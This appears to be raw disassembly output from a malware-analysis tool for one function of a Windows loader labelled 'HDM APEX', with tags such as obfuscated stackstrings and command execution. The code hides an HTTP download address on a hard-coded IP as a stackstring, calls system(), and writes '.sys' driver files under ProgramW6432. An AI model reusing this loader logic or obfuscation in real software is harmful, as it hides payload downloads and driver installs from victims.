Function at 0x14000f090
Capabilities:
Contain obfuscated stackstrings
Create directory
Delete file
Execute command
Query environment variable
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x530
mov rax, qword [0x14006a010]
xor rax, rsp
mov qword [rsp + 0x528], rax
mov qword [rsp + 0xb0], rdx
mov qword [rsp + 0xb8], rdx
xor edi, edi
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x310]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rsp + 0x310]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], rdi
mov qword [rsp + 0x128], rdi
lea rax, [rsp + 0x310]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp word [rax + r8*2], di
jne 0x14000f126
lea rdx, [rsp + 0x310]
lea rcx, [rsp + 0x110]
call fcn.14000ad70
nop
lea rcx, [rsp + 0x110]
call fcn.14000dca0
nop
mov rdx, qword [rsp + 0x128]
cmp rdx, 8
jb 0x14000f19f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f19a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f19a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400536cc
lea rcx, [rsp + 0x110]
call fcn.14000e140
nop
mov rcx, rax
call fcn.14000dca0
nop
mov rdx, qword [rsp + 0x128]
cmp rdx, 8
jb 0x14000f201
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f1fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f1fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400536cc
call fcn.1400099e0
mov dword [rsp + 0x24], 0xc0000001
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rbx, rax
mov edx, 0x80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.HDM_APEX_v1.31__:v3.0.51.45__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a990
mov eax, dword [str.load]
mov dword [rsp + 0x88], eax
movzx eax, byte [0x14005ed30]
mov byte [rsp + 0x8c], al
xor eax, eax
mov dword [rsp + 0x8d], eax
mov byte [rsp + 0x91], al
call qword [sym.imp.WS2_32.dll_WSACleanup]
call fcn.14000e560
lea rcx, [0x14005706c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.HM_apex_v1.31__...._n
call fcn.140001180
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0xa
lea rcx, [rsp + 0x1b0]
call fcn.14000db80
nop
lea rcx, str.ProgramW6432
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rsp + 0x150], xmm0
mov qword [rsp + 0x160], rdi
mov qword [rsp + 0x168], rdi
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000f2e0
mov rdx, rax
lea rcx, [rsp + 0x150]
call fcn.14000b000
nop
movabs rdx, 0x7fffffffffffffff
mov r12, rdx
mov r15, qword [rsp + 0x160]
sub r12, r15
cmp r12, 0xa
jb 0x140010912
lea rax, [rsp + 0x150]
cmp qword [rsp + 0x168], 0x10
setae byte [rsp + 0x20]
mov r14, qword [rsp + 0x150]
cmovae rax, r14
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rdi
mov qword [rsp + 0x148], rdi
lea r13, [r15 + 0xa]
mov ebx, 0xf
lea rsi, [rsp + 0x130]
cmp r13, rbx
jbe 0x14000f401
mov rbx, r13
or rbx, 0xf
cmp rbx, rdx
jbe 0x14000f3ba
mov rbx, rdx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140053440
test rax, rax
je 0x140010839
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
mov rax, qword [rsp + 0x58]
jmp 0x14000f3f9
mov esi, 0x16
cmp rbx, rsi
cmovb rbx, rsi
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000f3e2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140010918
jmp 0x14000f396
test rcx, rcx
je 0x14000f3f6
call fcn.140053440
mov rsi, rax
mov rax, qword [rsp + 0x58]
jmp 0x14000f3f9
mov rsi, rdi
mov qword [rsp + 0x130], rsi
mov qword [rsp + 0x140], r13
mov qword [rsp + 0x148], rbx
mov r8, r15
mov rdx, rax
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.RarSFXh64]
movsd qword [rsi + r15], xmm0
movzx eax, word [0x14005ebb0]
mov word [rsi + r15 + 8], ax
mov byte [rsi + r13], 0
cmp r12, 0xb
jb 0x14001091e
lea rax, [rsp + 0x150]
cmp byte [rsp + 0x20], 0
cmovne rax, r14
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x80], rdi
lea r12, [r15 + 0xb]
mov ebx, 0xf
lea rsi, [rsp + 0x68]
cmp r12, rbx
jbe 0x14000f545
mov rbx, r12
or rbx, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rbx, rcx
jbe 0x14000f4b4
mov rbx, rcx
movabs r13, 0x8000000000000000
lea rax, [r13 + 0x27]
jmp 0x14000f4e5
cmp rbx, 0x16
mov ecx, 0x16
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000f50e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140010924
movabs r13, 0x8000000000000000
mov rcx, rax
call fcn.140053440
test rax, rax
je 0x14000f738
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x68], rsi
jmp 0x14000f54f
test rcx, rcx
je 0x14000f531
call fcn.140053440
mov rsi, rax
mov rax, qword [rsp + 0x58]
movabs r13, 0x8000000000000000
mov qword [rsp + 0x68], rsi
jmp 0x14000f54f
mov rsi, rdi
movabs r13, 0x8000000000000000
mov qword [rsp + 0x68], rdi
jmp 0x14000f54f
movabs r13, 0x8000000000000000
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x80], rbx
mov r8, r15
mov rdx, rax
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.RarSFXh64_]
movsd qword [rsi + r15], xmm0
movzx eax, word [0x14005ebc0]
mov word [rsi + r15 + 8], ax
movzx eax, byte [0x14005ebc2]
mov byte [rsi + r15 + 0xa], al
mov byte [rsi + r12], 0
lea rdx, [rsp + 0x1b0]
cmp qword [rsp + 0x1c8], 0x10
cmovae rdx, qword [rsp + 0x1b0]
mov r8, qword [rsp + 0x1c0]
lea rcx, [rsp + 0x68]
call fcn.14000a470
xorps xmm0, xmm0
movups xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xe0], rdi
mov qword [rsp + 0xe8], rdi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xe0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str..sys
lea rcx, [rsp + 0xd0]
call fcn.14000a470
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rsp + 0xa0], xmm0
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp byte [rsp + 0x20], 0
je 0x14000f68a
mov rdx, qword [rsp + 0x168]
inc rdx
mov rax, r14
cmp rdx, 0x1000
jb 0x14000f67a
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f67a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.1400536cc
movups xmm0, xmmword [rsp + 0xa0]
movups xmm1, xmmword [rsp + 0x58]
movups xmmword [rsp + 0x150], xmm1
movups xmmword [rsp + 0x160], xmm0
mov rdx, qword [rsp + 0xe8]
cmp rdx, 0x10
jb 0x14000f6e5
inc rdx
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f6e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f6e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400536cc
mov qword [rsp + 0xe0], rdi
mov qword [rsp + 0xe8], 0xf
mov byte [rsp + 0xd0], 0
mov rdx, qword [rsp + 0x80]
cmp rdx, 0x10
jb 0x14000f744
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f73f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f73f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400536cc
xorps xmm0, xmm0
movups xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xe0], rdi
mov qword [rsp + 0xe8], rdi
lea r14, [rsp + 0x150]
movups xmm1, xmmword [rsp + 0xa0]
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rcx, xmm0
mov qword [rsp + 0x98], rcx
cmp rcx, 0x10
setae byte [rsp + 0x21]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xa0], rax
cmovae r14, rax
movq rsi, xmm1
movabs r15, 0x7fffffffffffffff
cmp rsi, r15
ja 0x14001092a
mov qword [rsp + 0xe8], 0xf
cmp rsi, 0x10
jae 0x14000f7e2
mov qword [rsp + 0xe0], rsi
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0xd0], xmm0
jmp 0x14000f879
mov rbx, rsi
or rbx, 0xf
cmp rbx, r15
jbe 0x14000f813
mov rbx, r15
lea rax, [r13 + 0x27]
mov rcx, rax
call fcn.140053440
mov rcx, rax
test rax, rax
je 0x14000f83c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000f852
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000f843
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140010930
jmp 0x14000f7f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000f84f
call fcn.140053440
jmp 0x14000f852
mov rax, rdi
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xe0], rsi
mov qword [rsp + 0xe8], rbx
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x190]
call fcn.14000d9d0
nop
lea rcx, [rsp + 0x130]
cmp qword [rsp + 0x148], 0x10
cmovae rcx, qword [rsp + 0x130]
xor edx, edx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__access]
cmp eax, 0xffffffff
jne 0x14000f9d8
lea rcx, [rsp + 0x130]
cmp qword [rsp + 0x148], 0x10
cmovae rcx, qword [rsp + 0x130]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
test eax, eax
je 0x14000f9d8
lea rcx, [rsp + 0x110]
call fcn.14000dd60
mov rbx, rax
lea rax, [rsp + 0x190]
cmp rax, rbx
je 0x14000f98d
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 8
jb 0x14000f94b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f946
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f9cc
call fcn.1400536cc
mov qword [rsp + 0x1a0], rdi
mov qword [rsp + 0x1a8], 7
mov word [rsp + 0x190], di
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x190], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x1a0], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 7
mov word [rbx], di
mov rdx, qword [rsp + 0x128]
cmp rdx, 8
jb 0x14000f9d8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f9d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f9d3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400536cc
lea rdx, str._n......
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a990
mov dword [rsp + 0x28], 0x70747468
mov dword [rsp + 0x2c], 0x312f2f3a
mov dword [rsp + 0x30], 0x2e34392e
mov dword [rsp + 0x34], 0x372e3534
mov dword [rsp + 0x38], 0x30393a38
mov dword [rsp + 0x3c], 0x6275702f
mov dword [rsp + 0x40], 0x2f63696c
mov dword [rsp + 0x44], 0x6e776f64
mov dword [rsp + 0x48], 0x64616f6c
mov dword [rsp + 0x4c], 0x6e69772f
mov dword [rsp + 0x50], 0x62643839
mov word [rsp + 0x54], 0x616b
mov byte [rsp + 0x56], 0x63
xorps xmm0, xmm0
movups xmmword [rsp + 0x170], xmm0
mov qword [rsp + 0x180], rdi
mov qword [rsp + 0x188], rdi
mov r8d, 0x2f
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x170]
call fcn.14000b000
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, eax
mov eax, 0x88888889
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xf
sub ecx, eax
inc ecx
mov r8d, 0xa
lea rdx, [rsp + 0x300]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itoa]
lea rax, [rsp + 0x300]
mov rbx, 0xffffffffffffffff
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14000fad0
mov rax, r15
mov r12, qword [rsp + 0x180]
sub rax, r12
cmp rax, rbx
jb 0x140010936
lea rdx, [rsp + 0x170]
cmp qword [rsp + 0x188], 0x10
setae byte [rsp + 0x20]
mov r15, qword [rsp + 0x170]
cmovae rdx, r15
mov qword [rsp + 0x58], rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x80], rdi
lea rax, [r12 + rbx]
mov esi, 0xf
lea r14, [rsp + 0x68]
cmp rax, rsi
jbe 0x14000fbd1
mov rsi, rax
or rsi, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rsi, rcx
jbe 0x14000fb88
mov rsi, rcx
lea rax, [r13 + 0x27]
mov rcx, rax
call fcn.140053440
test rax, rax
je 0x14000fcd6
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
lea rax, [r12 + rbx]
mov rdx, qword [rsp + 0x58]
jmp 0x14000fbcc
cmp rsi, 0x16
mov ecx, 0x16
cmovb rsi, rcx
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x14000fbb1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001093c
jmp 0x14000fb60
test rcx, rcx
je 0x14000fbc9
call fcn.140053440
mov r14, rax
lea rax, [r12 + rbx]
mov rdx, qword [rsp + 0x58]
jmp 0x14000fbcc
mov r14, rdi
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rsi
mov r8, r12
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [r12 + r14]
mov r8, rbx
lea rdx, [rsp + 0x300]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [r12 + rbx]
mov byte [r14 + rax], 0
mov r8d, 4
lea rdx, str..sys
lea rcx, [rsp + 0x68]
call fcn.14000a470
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xc0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp byte [rsp + 0x20], 0
je 0x14000fc8f
mov rdx, qword [rsp + 0x188]
inc rdx
mov rax, r15
cmp rdx, 0x1000
jb 0x14000fc7a
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000fc7a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.1400536cc
movups xmm0, xmmword [rsp + 0x58]
movups xmm1, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x170], xmm0
movups xmmword [rsp + 0x180], xmm1
mov rdx, qword [rsp + 0x80]
cmp rdx, 0x10
jb 0x14000fce2
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fcdd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000fcdd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400536cc
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x28]
call fcn.14000a310
mov rdx, rax
lea rcx, [rsp + 0x1d0]
call fcn.14000d9d0
nop
lea rdx, str._n...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a990
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x1f0]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x1f0]
call fcn.140011720
nop
lea rcx, str.ProgramW6432
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0x100], rdi
mov qword [rsp + 0x108], rdi
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000fd70
mov rdx, rax
lea rcx, [rsp + 0xf0]
call fcn.14000b000
nop
mov r14, qword [rsp + 0x100]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 0xa
jb 0x140010942
lea r12, [rsp + 0xf0]
cmp qword [rsp + 0x108], 0x10
cmovae r12, qword [rsp + 0xf0]
xorps xmm0, xmm0
movups xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xe0], rdi
mov qword [rsp + 0xe8], rdi
lea r15, [r14 + 0xa]
mov ebx, 0xf
lea rsi, [rsp + 0xd0]
cmp r15, rbx
jbe 0x14000fe6d
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000fe2a
mov rbx, rcx
lea rax, [r13 + 0x27]
mov rcx, rax
call fcn.140053440
test rax, rax
je 0x1400104a7
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000fe65
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000fe53
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140010947
jmp 0x14000fe0b
test rcx, rcx
je 0x14000fe62
call fcn.140053440
mov rsi, rax
jmp 0x14000fe65
mov rsi, rdi
mov qword [rsp + 0xd0], rsi
mov qword [rsp + 0xe0], r15
mov qword [rsp + 0xe8], rbx
mov r8, r14
mov rdx, r12
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.RarSFXh64]
movsd qword [rsi + r14], xmm0
movzx eax, word [0x14005ebb0]
mov word [rsi + r14 + 8], ax
mov byte [rsi + r15], 0
mov r15, qword [rsp + 0x100]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0xb
jb 0x14001094d
lea r12, [rsp + 0xf0]
cmp qword [rsp + 0x108], 0x10
cmovae r12, qword [rsp + 0xf0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], rdi
mov qword [rsp + 0x128], rdi
lea r14, [r15 + 0xb]
mov ebx, 0xf
lea rsi, [rsp + 0x110]
cmp r14, rbx
jbe 0x14000ff8d
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000ff4a
mov rbx, rcx
lea rax, [r13 + 0x27]
mov rcx, rax
call fcn.140053440
test rax, rax
je 0x14001016b
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000ff85
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000ff73
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140010952
jmp 0x14000ff2b
test rcx, rcx
je 0x14000ff82
call fcn.140053440
mov rsi, rax
jmp 0x14000ff85
mov rsi, rdi
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x120], r14
mov qword [rsp + 0x128], rbx
mov r8, r15
mov rdx, r12
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.RarSFXh64_]
movsd qword [rsi + r15], xmm0
movzx eax, word [0x14005ebc0]
mov word [rsi + r15 + 8], ax
movzx eax, byte [0x14005ebc2]
mov byte [rsi + r15 + 0xa], al
mov byte [rsi + r14], 0
lea rdx, [rsp + 0x1b0]
cmp qword [rsp + 0x1c8], 0x10
cmovae rdx, qword [rsp + 0x1b0]
mov r8, qword [rsp + 0x1c0]
lea rcx, [rsp + 0x110]
call fcn.14000a470
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x80], rdi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str..sys
lea rcx, [rsp + 0x68]
call fcn.14000a470
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x108]
cmp rdx, 0x10
jb 0x1400100c8
inc rdx
mov rcx, qword [rsp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400100b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400100b6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400536cc
movups xmm0, xmmword [rsp + 0xc0]
movups xmm1, xmmword [rsp + 0x58]
movups xmmword [rsp + 0xf0], xmm0
movups xmmword [rsp + 0x100], xmm1
mov rdx, qword [rsp + 0x80]
cmp rdx, 0x10
jb 0x14001011b
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010116
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140010116
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400536cc
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x80], 0xf
mov byte [rsp + 0x68], 0
mov rdx, qword [rsp + 0x128]
cmp rdx, 0x10
jb 0x140010177
inc rdx
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010172
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140010172
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400536cc
lea rcx, [rsp + 0xd0]
cmp qword [rsp + 0xe8], 0x10
cmovae rcx, qword [rsp + 0xd0]
xor edx, edx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__access]
cmp eax, 0xffffffff
jne 0x1400101be
lea rcx, [rsp + 0xd0]
cmp qword [rsp + 0xe8], 0x10
cmovae rcx, qword [rsp + 0xd0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
lea rdx, [rsp + 0xf0]
cmp qword [rsp + 0x108], 0x10
cmovae rdx, qword [rsp + 0xf0]
lea rcx, [rsp + 0x1f8]
call fcn.140011a80
xor r8d, r8d
test rax, rax
mov rax, qword [rsp + 0x1f0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x1f0]
je 0x14001020e
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x14001021c
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov r8d, 0x2000
lea rdx, [0x1400720e0]
lea rcx, [rsp + 0x1f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x1f8]
call fcn.1400119c0
test rax, rax
jne 0x14001026d
mov rax, qword [rsp + 0x1f0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x1f0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov eax, 2
mul qword [rsp + 0x100]
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1400536d4
mov rbx, rax
lea r9, [rsp + 0xf0]
cmp qword [rsp + 0x108], 0x10
cmovae r9, qword [rsp + 0xf0]
lea r8, [0x14005ebc4]
mov edx, 0x64
mov rcx, rax
call fcn.14000d800
mov qword [0x1400740e0], rbx
lea rcx, [rsp + 0xf0]
cmp qword [rsp + 0x108], 0x10
cmovae rcx, qword [rsp + 0xf0]
xor edx, edx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__access]
cmp eax, 0xffffffff
jne 0x140010453
lea rcx, [rsp + 0x110]
call fcn.14000dd60
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x310]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x310]
call fcn.140011720
nop
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x310]
call fcn.140011590
mov r8d, 0x2000
lea rdx, [0x1400720e0]
lea rcx, [rsp + 0x310]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x318]
call fcn.1400119c0
test rax, rax
jne 0x140010387
mov rax, qword [rsp + 0x310]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x310]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rax, [rsp + 0x110]
cmp qword [rsp + 0x128], 8
cmovae rax, qword [rsp + 0x110]
mov qword [0x1400740e0], rax
mov rax, qword [rsp + 0x310]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x310], rbx
mov rax, qword [rsp + 0x310]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x30c], edx
lea rcx, [rsp + 0x318]
